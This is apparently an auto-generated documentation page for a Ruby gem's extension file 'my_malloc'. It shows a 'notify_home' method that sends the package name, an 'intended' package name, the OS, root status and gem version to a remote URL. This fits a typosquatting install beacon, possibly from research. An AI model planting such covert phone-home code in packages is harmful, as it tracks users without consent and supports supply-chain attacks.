Top Level Namespace

Includes:
RbConfig

Defined Under Namespace

Classes: MyMalloc

Instance Method Summary collapse

Instance Method Details

#get_request(url, params) ⇒ Object



8
9
10
11
12
13
14
15
16
17
18
# File 'ext/my_malloc/main.rb', line 8

def get_request(url, params)
  uri = URI.parse(url)
  # Add params to URI
  uri.query = URI.encode_www_form(params)
  
  if $debug
    puts uri.query
  end

  return Net::HTTP.get(uri)
end

#notify_home(url, package_name, intended_package_name) ⇒ Object



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'ext/my_malloc/main.rb', line 20

def notify_home(url, package_name, intended_package_name)
  user_id = Process.uid
  user_name = Etc.getlogin
  host_os = RbConfig::CONFIG["arch"]
  admin_rights = user_id == 0

  params = {
     :p1 => package_name,
     :p2 => intended_package_name,
     :p3 => 'gem',
     :p4 => host_os,
     :p5 => admin_rights,
     :p6 => `gem --version`,
  }
  body = get_request(url, params)
end